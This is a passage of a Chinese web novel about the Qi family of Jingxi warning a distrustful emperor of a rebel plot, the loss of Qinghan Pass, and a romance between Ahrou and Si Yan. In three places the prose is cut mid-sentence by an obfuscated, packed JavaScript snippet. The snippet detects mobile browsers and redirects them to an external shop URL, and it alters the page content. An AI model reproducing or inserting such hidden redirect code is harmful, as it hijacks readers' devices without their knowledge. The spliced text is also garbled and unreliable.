“若谢阳没有骗我们,林予哲身边当真有这么一个人存在,所有阴谋都出自此人之手。和叛军对阵的时候,有没有可能先想办法把这个人揪出来呢……虽然肯定没那么容易就是了。”阿柔托着下巴思索片刻,突然想起什么,“叛军走到何处了?” 戚思彦面色一滞,“青函关。” 室内悬挂着地图,阿柔看了一会儿,说道:“他们这是想直取长祈啊。可青函关向来易守难攻,又岂是那么容易拿下的?” 戚思彦嘲讽地笑了笑,“也许吧。” 阿柔看二哥面色不对,直觉发生了什么,“怎么了?” 戚思彦也不瞒她,将圣上派江照人深入河北乘胜追击的事讲了。 阿柔露出难以理解地表情,“明明固守青函关才是最稳妥的策略。乘胜追击?谁晓得这是不是又是林予哲设下的局!” 乐瑶不太懂这其中的门道,一头雾水地道:“所以,父皇他是做了一个错误的决定吗?” 阿柔一时哽塞住,不知道该怎么说—— 一不小心就忘了,这里还坐着圣上的亲女儿呢。 戚思彦先一步开口道:“不一定是错的,但……有更好的解决方式。” “既然如此,我们就想办法让父皇改变这个决定,不行吗?”乐瑶天真地道,“还有谁,还有谁能劝得动父皇呢。” 戚思彦默然片刻,终究还是实话实说:“乐瑶,来不及了。” 乐瑶有一瞬的错愕,“为什么?” “陛下下令让江照人追击,已是许多日以前的事。”戚思彦自嘲地笑了笑,“在这期间,我已将能寻的人都寻过了,却还是没能阻止。如今,也只有寄希望于,江照人确有真才实干,当真能够拿下这一仗了……” 但戚思彦心里清楚明白,这个希望太渺小了。 江照人并不是戚叶临、唐元思那般久经沙场的老将,他只是丞相梁朝越布置在军中的一枚筹码。 皇上似乎已经打定主意不去听戚思彦的谏言了。 戚思彦知道,他这是一朝被蛇咬,十年怕井绳,哪怕那条咬人的毒蛇并不是戚家人。 皇上害怕戚叶临会像林予哲抛弃妻儿那般抛弃戚思彦,然后就可以毫无顾虑地在西北自立名号,独占一方。 可是远在西北边境的将士们做了什么呢? 他们遭到同族背叛,浴血拼杀、九死一生,亲眼看着朝夕相处的战友死于荒唐的阴谋之下,继而又马不停蹄地投入到下一场战事之中。 换来的是什么? 是天子毫无慈悲的猜忌! 戚思彦觉得,这一切都太可笑了。 连带着自己被困于京城,如履薄冰却敢于直言的这一生,都太可笑了。 所以今日,乐瑶开玩笑让他演示剑法的时候,他并没有拒绝。 触碰到剑柄的那一刻,戚思彦终于久违地感受到了轻松与快乐。 在庭前舞剑的短暂时光,是完完全全属于他戚思彦的。 乐瑶颤抖着开口:“倘若这一战……败了呢?” 戚思彦摸了摸她的发顶,神情之中有一些悲伤,“倘若败了,林予哲便可轻而易举地拿下青函关,长驱直入……往长祈来。” “我们会败?我们真的有可能会败?”乐瑶无法接受,难以置信地摇着头,“可是彦哥哥,世人不都说,父皇开创了大昭的盛世。既是盛世,为何会败于一个羌夷蛮奴之手呢!” “因为这所谓的‘盛世’,并不是天下人所共有的盛世。”戚思彦的声音很温柔,神色却带着悲悯与怜惜。 阿柔坐在一旁默不作声,心情同样沉重。 “倘若败了……父皇他,岂不是要背负天下人的骂名?”乐瑶焦急地道。 戚思彦没有作声,但乐瑶已然知晓了答案。 “怎么会这样……”乐瑶失神地道。 阿柔叹了口气,宽慰道:“乐瑶,事情还没到那一步。叛军即便破了青函关,只要我们死守长祈城,仍有转圜的余地。” 乐瑶抬起头,眨巴着眼看向她,似乎在等待一个答案。 “我们手上还有最后一枚筹码。”阿柔说道,“镇守西南的三朝老将,唐元思。” “唐将军?” “是。”戚思彦站起身来,走到一旁悬挂着的疆域图旁边,指了指西南烟云四州的位置,“唐将军的军队镇守在此处,倘若青函关被攻破,叛军直往长祈而来,唐将军可带军北上,与长祈护卫军形成两面包夹之势。但前提是……长祈军必须要守住城池。” 乐瑶听得云里雾里,“为何不能直接将老将军调来青函关,抵挡叛军呢?” “唐将军只有固守西南,才能逼迫叛军强行突破青函关。”戚思彦解释道,“青函关易守难攻,只要稳扎稳打,叛军久攻不下,物资告罄,自会溃败。只是……” “只是没想到,朝廷那帮不懂打仗,只会耍嘴皮子的墙头草,硬是撺掇着朝廷军脱离青函关,追去河北地区。”阿柔冷笑一声,“我若是林予哲,只怕晚上做梦都能笑醒。” 乐瑶微微垂下了头,有些难过地道:“难道说,我们当真什么也做不了了吗?” “且看前线战果如何吧。”戚思彦叹了口气,牵住乐瑶的手,“放宽心些,现在多想,也是无用。” 乐瑶失魂落魄地点了点头。 …… 一番交谈之后,戚家兄妹二人便收拾着装,入宫面圣。走之前,阿柔不忘将那枚“戚”字玉牌还给了戚思彦,由戚思彦保存至原来的位置。 圣上听下人通报,还有些惊讶,不过很快便换上了长辈的做派,将人请进来。 待他们行完礼后,李钰故作惊喜地道:“这不是戚家的三丫头吗,许久未见,今日怎么想着上朕这里来了?” 阿柔颔首道:“陛下,臣女今日入宫,是有要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064138|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事禀报。” “要事?”李钰笑了一下,“你一个小丫头,能有什么要紧事啊?” 以往每次进宫面圣,阿柔都扮作不谙世事、不通朝政的单纯少女模样,想办法哄着皇上开心。 这是这次,她终究是演不下去了。 阿柔面上神情比以往任何一次面圣时都要严肃,她双手交叠作揖,沉着声音开口道:“连远道节度使谢阳,伙同威北大将军林予哲,勾结赫月王哈赤努尔,起兵攻打西北大营,致使西北铁骑四万军士身殒。景西王戚叶临率部反攻,现已将谢贼制伏,收押于宛阳监牢。” 阿柔说出的每一个字都像是雷击,毫不留情地击打在李钰的身上。 李钰瞪大了眼,顾不得什么长辈的礼仪,将手边的茶盏扔飞出去,“什么?!” 这茶盏并非是冲着阿柔来的,却正巧落在她的眼前,险些将她砸到。 阿柔未曾躲闪,面色亦未动摇,“陛下,臣女是从西北宛阳回来的,所说之辞,句句属实。” 李钰惊怒不定,心魂俱颤,大口地喘着粗气。 老太监高严见状,连忙上前去抚背顺气。 什么叫做“勾结赫月王哈赤努尔,起兵攻打西北大营”? 戚家那丫头语言清晰,表达顺畅,按说没什么理解不了的。 可这几个字排列组合在一起,传达出来的意思,怎么就那样让人难以接受?! 戚思彦立于一旁,不动声色地观察着李钰的面色,又看了看自家幼妹,心中隐隐有些担忧。 李钰好不容易从惊颤中缓过神来,狐疑地道:“景西王为何让你一个小丫头回京禀报,他人呢?” “回陛下。”阿柔沉着地回答,“臣女离开宛阳之时,哈赤努尔正带兵攻城,情势相当焦灼。父亲守在边境走不开,只能命臣女代为传达。” “那伙同林予哲又是怎么回事?!林予哲不是一直盯着长祈么?怎么又将手伸到西北去了?”李钰简直难以理解。 “陛下,谢阳亲口招供,攻打西北大营,是为了将西北铁骑困于边境,以防西北铁骑回长祈支援抗林军。”阿柔从袖口取出一本折子,作呈递状“这是谢阳亲笔陈罪书,谢、林二人多年所谋之事皆记于其上,请陛下过目。” 高严走来,接过陈罪书,将其呈递圣上。 李钰越是看,越是颤抖不已,“混账,混账!” 熙贵妃是林予哲安排入宫,用来蛊惑他的。 他的身体越来越差,不是因自然衰老,而是被下了毒。 定州疫病不是天灾,是投毒。 京城仙君庙不是走水,是蓄意纵火。 民间谣传“天降神罚”,也是他林予哲做的。 所谓的“请魂典仪”,灵引真人,通通都是骗人的! “哈哈哈哈,哈哈哈哈哈哈哈哈!”李钰大笑起来,面上阴晴不定,看起来狰狞可怖。笑到最后,忽觉胸闷气短,不住地咳呛着。 “陛下!”高严惊慌失措地对阶下的小太监道,“传太医!” 那小太监急匆匆地领命而去。 阿柔只是躬身立于阶下,面上没有丝毫波澜。 过去分明有那么多机会可以阻止林予哲的布局,陛下却只是装聋作哑,不闻不问。 走到如今这一步,实属报应。 “你们都在骗朕,都在骗朕!”李钰耳中轰鸣,眼前模糊,状态看起来十分糟糕,“你们骗得好啊!哈哈,哈哈哈……” “陛下,您先别说了,保重龙体最重要啊!”高严心焦地道。 李钰挥开了高严要搀扶着他的手,跌跌撞撞地走下阶来,看着阿柔,语气有些危险,“戚雪柔,你一个小丫头,如何知道朝局的这些弯弯绕绕?如何讲得明白这些事情之间的关联?” 阿柔轻轻吐了一口气,努力保持镇静,“阿柔只是代父亲传话。” “只是代为传话,就能讲得这样清楚?”李钰的笑容有些可怖,“好好好,朕就姑且当你什么都不懂。” 李钰转而走到戚思彦的面前,“那么你呢?这么多年来,你一直不服气得很吧?表面上一副温顺的模样,其实,你的心还在西北吧!” 戚思彦心头隐隐有一股怒火。 他一直压抑克制的情绪,在此时此刻,终于爆发。 戚思彦直挺挺地跪下,双手交叠,高声说道:“陛下,西北铁骑镇守边境多年,护我大昭疆土无恙,却遭同族陷害,命悬一线,九死一生。即便如此,依旧铤而走险,夺回宛阳,活捉贼首。在陛下心里,四万将士的性命,分量竟不如陛下受了欺骗来得重吗!” 李钰睁大了双眼,难以置信地看着这个一直以来温声细语、看似脆弱的人。 只见他神色悲戚,却未曾有半分惧色,毅然决然地道:“大敌当前,若陛下还要纠结于无意义的猜忌中,便干脆赐臣一死吧!” 戚思彦向他叩首。 “二哥!”阿柔吓得魂飞魄散。 李钰震颤地说不出话来,直勾勾地盯着面前的青年,妄图从他神情之中捕捉到哪怕一丝一毫的心虚与恐惧。 但戚思彦完全不给他这个机会。 若是面前摆着一面铜镜,李钰便会知道,心虚的人是他自己。 “你,你……”李钰只是徒然地发出几个无意义的音节,继而双腿一软,跪倒在地,眼前一阵一阵晕眩。 “陛下!” 周围侍从手忙脚乱地将他扶起,在高严的指挥下,将人扶去卧房。 对于这样的场景,戚思彦似乎已经见怪不怪了。 阿柔却仍然沉浸在方才戚思彦的话语之中,惊魂未定。 戚思彦摸了摸她的发顶,无声地安抚。 没过一会儿,太医便匆匆赶来。 “少卿大人,戚三小姐,今日便先回去吧。”高严叹了口气道。 一路上,兄妹二人都沉默不语,谁也没有开口说话。 直到出了宫门,阿柔终于无法忍耐,拽住了戚思彦的衣袖,哽咽着说道:“哥,不值得,不值得……” 72. 叛道 戚思彦知道阿柔说的“不值得”是指什么。 阿柔想说,如此阴惨的时局,如此腐烂的朝堂,不值得他为此付出生命。 戚思彦拉起妹妹的手,和她一同上了景西王府的马车。 马车行进后,戚思彦歉疚地说道:“对不起,阿柔,吓坏了吧。” 阿柔红着眼睛,直勾勾地看他。 “我那样说,并非是心存死志。你知道的,陛下当初赐我官位,便是要让我作为质子,用以牵制阿爹和大哥。但反过来说,有这层身份在,他就不会轻易对我下手。”戚思彦温声解释。 确实是这么个道理。 “人质”的身份看似憋屈,他的命却有十足的价值。倘或李钰真的敢对戚思彦动手,岂不是逼着景西王府造反? “尤其是在林予哲谋反的这个节骨眼上,陛下更不会和景西王府撕破脸皮。方才那般质问你我,只不过是因为他需要一个宣泄情绪的口子,咱们只是刚巧撞上了。”戚思彦话锋一转,“但他想拿咱们当软柿子捏,我偏不能如了他的意。如今叛军已行至青函关,直往长祈而来,难道还要让所有人哄着他吗?” 阿柔冷静了下来,却还是有些心有余悸,“即便这样,你也不能说什么,赐你一死这样的话……多吓人啊。” “对不起阿柔,以后不会了。”戚思彦诚恳地道。 阿柔这才稍稍放下心来,又想起此行的目的,“只是我还没来得及禀报有关云洛的事。” “这个不妨事,谢阳的陈罪书上都写得很明白。再不然,下回早朝,我再提一次。”戚思彦说道。 阿柔点了点头。 放松下来后,困倦感也随之而来。 没过一会儿,阿柔便睡着了。 直到马车停靠在景西王府门前,戚思彦才将她叫醒,“阿柔,醒醒,回房间再睡。” 阿柔点了点头,迷迷糊糊地睁开眼,拽着二哥的衣袖下了马车,伸了一个巨大的懒腰。 她困得要命,感觉走在路上都能直接睡过去。 戚思彦无奈,只能先将阿柔送回房间。 阿柔一进屋,二话不说地就往床上躺。 戚思彦:“把鞋脱了。” 阿柔直接用脚把鞋踢了下来。 戚思彦:“……” 戚思彦叹了口气,将飞到几尺之外的鞋捡了回来,整整齐齐地摆放在她的床前,随后便闭门离开了。 待到回到自己院中,却没见乐瑶的身影。 戚思彦问明珠:“公主呢?” 明珠回答道:“公主殿下说要出门一趟,没说是去哪。” 戚思彦沉吟片刻。 明珠忐忑不安地问:“二公子,怎么了吗?” “没什么。”戚思彦说道,“有护卫跟着吧。” “自是跟着的,二公子请放心。” 戚思彦点了点头。 他并非是要监视或限制乐瑶的行踪,只是午后那阵讲起抗击反军一事,以及朝廷不甚妥当的决策,乐瑶当时就显得有些没精神,却在他和阿柔进宫之后也出了门,会是去做什么呢? 还是等乐瑶回来,亲自问她吧。 …… 阿柔醒来时,已是晚上。 侍女得了戚思彦的吩咐,见她醒了,便从厨房热了饭送来。 吃过饭后,阿柔出了房门,走在院子里,回想起今日宫中发生的事,只觉得一阵不痛快。 这简直是太憋屈了。 林予哲还没反的时候,皇上因他是羌夷蛮奴,便认定他没有深沉的心计,对他百般信赖,却提防着景西王府。 如今林予哲反了,皇上仍旧没能放下对景西王的猜忌,反而因此觉得,只留戚思彦在京中为质,还是不太保险。 景西王府究竟要做到何种地步,皇上才肯全身心地交付信任! 也许永远都不会有那一天。 阿柔漫无目的地在院子里打转徘徊,心思郁结,又空虚不已。 她认为自己再这样一个人纠结下去,也许就要憋闷而死了。 下一刻,阿柔迎着月色,往外面跑去。 威北将军林予哲谋反的消息,多多少少还是传到了民间。 若放在从前,长祈城的夜晚总是摩肩接踵、灯市如昼,处处显露着繁华的气息,如今却萧瑟冷落了不少。 街上的小摊商贩零零落落,仅有的几家也是死气沉沉,看不出什么热情来。 恐怕也只有那些个秦楼楚馆,依旧夜夜笙歌、笑语不绝。 阿柔出门的时候,其实并未决定好要往哪去。可脚下步伐却又不由自主地,顺着记忆中熟悉的路线而行。 她终究还是往司言的住处去了,顺道还买了些酒。 司言见了她,面上很是欢喜,又见她面色郁结,手中提着酒壶,不免忧心地问:“阿柔这是怎么了?” 阿柔没有多解释什么,只是晃了晃手中酒壶,扬起下巴,“陪我喝酒,走不走?” 司言轻笑一声,“定当奉陪。” 阿柔没说要上哪去喝酒,二人却默契十足地运起轻功,向屋檐上跳去。 跃至屋檐之上,视野即刻开阔起来。阿柔遥遥地便望见一处高楼,迎着夜晚的阵阵凉风,轻盈地朝着那个方向奔去。 阿柔在高楼顶上坐下。 偌大一座长祈城,变成了阿柔眼中的一座小小景观。灯火明亮,却显得太过遥远,甚至有些不真切。 阿柔无意义地伸出手,也只能徒劳地遮挡住部分景象,终究什么也触碰不到。 司言坐在她的身旁,含笑道:“三小姐要请我喝酒,却只带了一个酒壶,我的那份呢?” 阿柔收回手,看了他一眼,打开酒壶灌了一口,说道:“我只说让你陪我来,可没说要请你。” “哦?是吗?”司言打趣道,“我看阿柔是忘了准备我的那份吧。” 晚风吹过,阿柔的面颊有些微微泛红。她托着下巴,没有去看司言,只是伸出一只手将酒壶递给他,没好气地道:“少啰嗦。” 司言也没客气,接过那酒壶,浅啜一口,却觉辛辣苦涩,眉头都扭在一起了,“怎么买了这样烈的酒?” 阿柔没有即刻回答他的话,只是轻轻唤了一声他的名字,“阿言。” “嗯?” “这样的日子,什么时候才会结束呢……”阿柔轻轻地道。 “……什么?” “困在京城,如履薄冰,心惊胆战,却又无时无刻不被猜忌和误解的日子……”阿柔的神情染上几分痛苦与挣扎,“究竟什么时候才能过去?” 司言一怔,有几分心疼地看着她,“阿柔……” “我自认为清醒地活了这二十年,现在却有些不明白了。”阿柔茫然而哀伤地缓缓开口,“我们景西王府,世代忠良,固守大昭河山,始终如一地为李家效忠……是对的吗?” 阿柔这声质问,宛如一道惊雷,不光让司言惊了一下,就连阿柔自己都愣住了。 若是此处还有第三个人在,定要说她藐视皇权、不敬圣上,是该掉脑袋的罪过。 阿柔却不准备收回自己所说的话,相反,只有将这些困囿于心中的疑惑尽数吐露而出,她心中的郁结之气才能有所消解。 “难道,自古以来,武将世家,都逃不过功高盖主,被圣上猜忌,被文臣曲解,被朝局孤立的结局么?”阿柔心绪翻涌,夺回酒壶,又猛灌一大口,感受着胃腹之中似火烧一般的烈辣,借着酒劲,发出疑问,“他还想要二哥怎样?他还想要景西王府做到何等地步!西北边境四万将士的命,只不过是天家眼里一个似有若无的数字!在他眼里,遭人欺骗,被人玩弄,才是这世间的头等大事!” 司言默默地听着她的倾诉,大抵猜到她今日入宫面圣遇到的情境,没有多问,而是伸手揽住她的肩,让她靠在自己怀里。 “司言,我不明白,我不明白……”阿柔抓着他的衣袖,将头埋在他的怀里,闷声闷气地问道,“世人都说,当今圣上即位之后,大昭百姓百姓过上了前所未有的好日子。可不过一二十年的光景,就变成如今这样的局面。到底是哪里错了?” 司言想要安慰她,却觉得现在无论说出怎样的安慰之辞,都显得太过无力。 他沉重地开口说道:“所谓‘盛世’,只不过是一个虚假的谎言。被埋在深雪之中,不见天日的阴暗与冤屈,即便是在当年,圣上最为励精图治的那几年,仍未止息。更不必说家国天下,只系于一人之手。若他心怀天下、胸有沟壑,便是天下之福。若他懒惰怠政、玩弄权术,便是天下之患。” “所以,天下人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081366|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的命运,从来不在自己的手中。”阿柔嘲讽地笑了起来,“天子一呼而天下应,天子一怒而天下惧。所谓‘盛世’是天子高傲的赏赐,无常才是众生永恒的归宿。” 司言攥着她的手,说道:“阿柔,你若厌倦了京城的泥沼,我可以带你走。走得远远的,去一个所有人都管不到我们的地方。” “阿言……”阿柔轻轻地说道,“你说,会不会有一日,这世上之事,不是只有一个人说了算呢?” 司言怔愣片刻,继而认真地回答:“会的,但不是现在。” “那会是什么时候?” “等到这天下百姓,都能吃饱穿暖,不必为了一米一粟而忧心的时候。” “听起来,似乎很遥远。” “是啊,很遥远。”司言垂下眼眸,“至少,我是不敢期望,能够亲眼看到的。” 空气陷入一阵静默,只能听到夜晚凉风吹过的声音。 过了许久,阿柔坐起身来,“你不觉得我太过离经叛道?” 司言一笑,“也不是一日两日了。” “说得也是。”这么一通倾诉,阿柔总算觉得心情顺畅了一些,“我也曾想过,就这样撇下动荡的时局不管,接着去过那浪迹天涯的日子去。可我终究还是这俗世中人,割舍不下家国故里,也过不去心头那道坎。” “嗯,我知道的。”司言认真地倾听,认真地给予回应,全然没有一丝不耐之色,“我的阿柔,是重情重义之人,也是勇敢无畏之人。不管是放手离开,还是坚守到底,你想做什么都好。” 阿柔心头触动,泛起甜腻与感动来,“那么你呢,你接下来有何打算,司门主?” “我在京城筹谋之事尚未结束,自然不会轻易离开。”司言说道。 “可如今叛军盘桓在青函关一带,虎视眈眈,朝中上下焦头烂额,疲于应付。不论是助承王夺嫡,还是借他之手,为门中弟子洗刷冤屈,都不是现在的当务之急。”阿柔不免为他心焦,“你所谋之事,已不是短时间内能完成的了。” “阿柔,你我现在的目标是一致的,我也想早点结束这场叛乱。”司言说道,“你怕林予哲阴谋得逞,会祸及景西王府。我怕战乱持续太久,会误了我的大事。要不然,这仗要是打上个七年八年的,我一不能早点做完正事,图个潇洒自在,二不能抱得美人归,上哪说理去?” 阿柔听他说的话越来越不着调,敲了一下他的脑袋,没好气地道:“惯会说些胡话。” 司言抱着脑袋,故作委屈,“阿柔力气可真大。” 阿柔不吃他这套,“嫌我力气大,那你就去找个温良贤淑的大家闺秀做娘子呗。” 司言抓住她的手,“我不要。” “为什么?” “我一介白衣,无权无势的,大家闺秀才瞧不上我。”司言贴了上去,在阿柔肩头蹭了蹭,“也就只有戚三小姐肯抬爱了。” “那你还总是说些胡话来戏弄我,嗯?”阿柔对他的头发一通乱揉。 “我哪里敢戏弄三小姐,我巴不得三小姐来戏弄我……” “司言!” “嗷,别打了,阿柔,我错了!” “……” 一番笑闹之后,先前梗在心头的那股郁气总算消散了。 司言稍稍敛了玩笑的神色,说道:“今日我去承王府上,见到九公主了。” “乐瑶?”阿柔疑惑地道,“她去承王府上做什么?” “我原本在和殿下汇报边境之事,公主突然来访,我便躲在屏风之后,多少也听见一些。”司言说道,“听公主的意思,似乎是想求殿下劝说圣上收回成命,莫要派江照人深入河北追击。” 阿柔有些惊讶,想起今日在二哥住处谈论战局之时,乐瑶不甘的神情,大抵明白了是怎么回事。 “乐瑶这是不想什么都不做,就要接受兵败的命运。”阿柔说道,“那承王答应了吗?” “面上是答应了,私下就说不准了。”司言并不看好,“他若真有劝谏陛下的打算,不用公主去求,自会去做。更不必说,陛下下令追击,已是好几日前的事情。如今再劝,已是来不及了。” “且看前线战果如何。若是胜了,倒也不必过多担忧。若是败了……”阿柔眼眸幽深,“就做好再战一场的准备吧。” 73. 失守 接下来的几日,众人皆在在忐忑不安的等待中度过。 没过多久,前线传回消息:江照人带兵追击叛军,遭到伏击,现已落入梁朝越手中,生死不明。 生擒江照人后,梁朝越率军一举踏破青函关,直冲长祈而来。 朝野上下震动不已,早已如热锅上的蚂蚁一般惊慌失措。 在如此险峻的情形之下,各方势力依旧争吵不断、丑态百出。你一言,我一语,谁也不想让青函关失守的责任落在自己的头上。 当日力荐江照人,主张乘胜追击的梁朝越,此时此刻更是面色铁青。人们碍于权势,不敢直接顶撞,但言语之间无不充满讽刺。 整个朝堂乌烟瘴气,唯有戚思彦一人不作言语,孤傲而立,与吵闹的现场格格不入。 李钰本就身体抱恙,此时此刻更是被吵得头昏脑胀,忍无可忍地大喊道:“都给朕住嘴!” 朝臣们闭了嘴,神色却都充满了不忿。 李钰的目光落在戚思彦的身上,“戚少卿,你可有应对之法?” 戚思彦上前一步,举着笏板,语调没有什么起伏,似乎早有准备,“将周边兵力调遣回来,据守长祈,再令老将唐元思率西南军北上,合力包夹叛军。” 李钰有些动摇。 青函关之破已经充分证明了戚思彦谏言的正确,即便对景西王府有所忌惮,李钰也不得不听。 梁朝越不认同地道:“将京城周边军士调遣而来,约莫能凑出八万兵力,唐元思手下率部五万,加起来满打满算不过十三万,可林予哲的兵力却足有二十万。如此打法,岂不是以卵击石?” 戚思彦轻笑一声,“是啊,叛军有二十万。若我没记错,林予哲起兵时只号称有十五万兵力,后来一边打,一边收编降军,可不就变成二十万了?这二十万兵力里,可有云麾将军和梁相一份功劳吧。” “你!”梁朝越被怼得哑口无言。 “梁相有何高见,但说无妨。”戚思彦淡然地看了他一眼,“下官才能有限,远不如梁相真知灼见,您说是不是啊?” 梁朝越气急,知道他这是在讽刺自己。 他梁相把持朝政这么多年,何时有人敢如此顶撞他? 可他偏偏刚跌了一个大跟头,不得不低声下气。 梁朝越避开戚思彦的挑弄,对着圣上道:“陛下,臣只是觉得,如此决策有欠考虑,应当还有别的应对之法。” “还有别的应对之法?那你倒是说啊,嗯?”李钰不耐地皱眉。 “这……” “叛军将近,哪有那么多时间可以浪费!”李钰撑着额头,神情疲惫,“既然说不出别的方法来,那就照戚少卿说的办!” …… 青函关失守的消息传入阿柔耳中时,她正在一处医馆帮忙。 阿柔本就是个闲不下来的人,回到京城,做完应尽之事后,便寻了份医馆的活计,平日里就帮忙打打下手,治一些简单的病。 这些来瞧病的人并不知晓她的身份,刚开始对她的能力也有所怀疑,但过去几日后,便没有人再说什么了。 不忙的时候,甚至还有人拉着她闲聊。 对于这些朴实淳厚的百姓,阿柔总是很有耐心。即便是家长里短的琐碎之事,也总是耐心地听着,时不时给予一些回应,却又不过分掺和。 久而久之,喜欢找她说话的人也多起来了。 这日,阿柔正一如既往地在医馆帮忙,却见司言专程来寻她,面色也不太好看。 阿柔的心立刻就凉了半截,做完手头的事情之后,拉着司言去了一旁无人的角落,问道:“可是前线来了消息?” 司言点头,沉声说道:“青函关,失守了。” 阿柔终是发出了一声无可奈何的叹息。 谁也不愿意接受这个结果,尽管它早已在意料之中。 “接下来,你有何打算?” “我还能有什么打算?”阿柔面上露出苦涩的微笑,“我无权无名,一介白衣,能做的事情实在有限。除了为百姓们治病,似乎也只能陪在家人身旁,共渡这一遭。” 司言没有多说什么,也没有劝她离开这个是非之地,只是问道:“忙完了吗?” “还有些病人等着。”阿柔回答。 “那我在这等你。” 阿柔揉了一把他的头发,转身继续忙去了。 她静静地看着百姓们因日夜劳作而分外粗粝的双手,听他们说起等有了钱后,要给家中添置些什么物件。 有些人家虽然不算特别富裕,但生活在长祈——整个大昭最为繁华的地方,日子总归有些盼头。 青函关失守,叛军直往长祈而来。 可若是长祈城也失守了呢? 若长祈城失守,叛军会如何对待这里的百姓? 阿柔不敢细想下去。 “姑娘,姑娘?” 阿柔连忙回过神来,意识到自己的手还搭在病患的脉搏之上,连忙收回来,“抱歉,这位夫人。” 那妇女也不生气,平和地问:“我这病怎么样啦?” 阿柔如实回答:“已经好得差不多了,我再给您开副药,回去喝两天,估摸着就好全了。” “哎,麻烦姑娘了。” 阿柔在纸上写下药方,递给那妇人。 妇人接过药方,感激地说道:“这几日为我治病,真是多谢姑娘。” 阿柔笑道:“应尽之责罢了。” 妇人眼含笑意,双手合十,腕上挂着一串佛珠。她微微颔首,诚恳地说:“像你这样人美心善的姑娘,一定会有现世福报,长乐无极。” 阿柔心头泛起暖意,也有模有样地掌心相对,“托夫人吉言。” 做完所有事情后,阿柔收拾好东西去寻司言,见他一言不发地坐在方才二人说话的地方,一副“等待被人捡走”的模样。 阿柔觉得心头暖洋洋的,嘴角微微上扬,冲着他说道:“走了。” 司言本来都等困了,听到声音,立马精神起来,窜到她身边。 二人一边走,一边说着闲话。 “等等,我们回家又不顺路,你等我干嘛?” “我送你回家嘛。” “真肉麻。”阿柔无情地嘲讽道。 “阿柔这样说,可是嫌我烦了?”司言抓着她的袖口,直勾勾地看她。 阿柔没好气地拍了拍他,“多大的人了,为老不尊的。” “那阿柔就是嫌我老?”司言眨巴眨巴眼睛。 “你还真是油盐不进。”阿柔笑了起来,“嫌你老又能怎样?还能就这样断了不成?” “那可不行。”司言一本正经地道,“回头我也去研究研究北疆的养颜术,据说能年轻十岁呢。” “得了吧,听起来怪吓人的。”阿柔忍俊不禁,“长得太小,我可不喜欢,现在这样就好。” “遵命。”司言露出一个讨好的笑容来。 “对了。”阿柔随口问道,“有夜兰的消息么?” 提及此事,司言的神色稍稍黯淡几分,摇了摇头,说道:“有人曾经目睹过和夜兰很相似的身影,但最后都被甩开了。” “她果然是在故意躲着你。” “是啊。”司言面露凝重之色。 夜兰会躲着司言的原因只有一个——她将要做的事,是一件十足危险的事。 但她不想被任何人阻拦,包括司言。 司言有些发愁,“故渊门的眼线遍布天下,而我这个门主又在为承王做事,林予哲害怕泄露机密,曾在城内大肆排查暗桩,如今不可光明正大地行动。找一个人,要比从前难上不少。” 阿柔觑着他有些烦闷的神色。 看来林予哲谋反,对故渊门而言,并不是件好事。 也对,朝局动荡不安,无论是寻常百姓,还是江湖名门,都一定会被波及。更不必说是以贩卖消息而立足于世的故渊门。 再者,倘若叛军真的攻入长祈,拥护林予哲为帝,那么司言多年的谋划都将付之一炬。 司言心里头一定比表现出来的模样要着急得多。 那他专程来找自己,还要送她回王府,难道是因为……压力太大了,想要找个人说说话吗? 思及此处,阿柔牵上了司言的手。 司言一愣,脚步都放慢了几分,耳根连着脖颈红了一片。 阿柔逗他,“司门主,好纯情啊。” 司言咳了咳,故作镇定地道:“三小姐,这可是在大街上啊。” “那又如何?”阿柔浑不在意,反而带着他的手举到面前的位置,光明正大地亮了出来,“也许明天,叛军就要兵临城下了,我们还要管旁人的嘴不成?” “嗯,你说得对。”司言这些时日以来的烦闷稍稍被抚去了一些。 两个人就这样一路牵着手,回到了景西王府。 将人送到之后,司言似乎也没有什么理由待着了,“那我就先……” 阿柔拽住了他的衣袖,歪头看他,“来都来了,不进来坐坐吗?” “可以吗?” “你都管我二哥叫哥了,居然还问这种问题。”阿柔笑着,直接拉着司言往王府里面走。 带客人进王府,自是应该先去知会戚思彦一声。 彼时戚思彦正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101079|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书房看书,见二人来了,一副见怪不怪的模样,也没有多说什么,只是温声嘱咐道:“还没吃过饭吧,我让厨房送几道菜到你院里去。” “先不说这个。”阿柔主动问道,“二哥,青函关失守一事,朝廷打算如何应对?” 戚思彦平静地回答:“照我说的那样,将周边军营的将士遣至长祈来,再令唐将军带西南军北上夹击。” 阿柔松了口气,“陛下终于肯听二哥的建议了,可算是聪明了一回。” 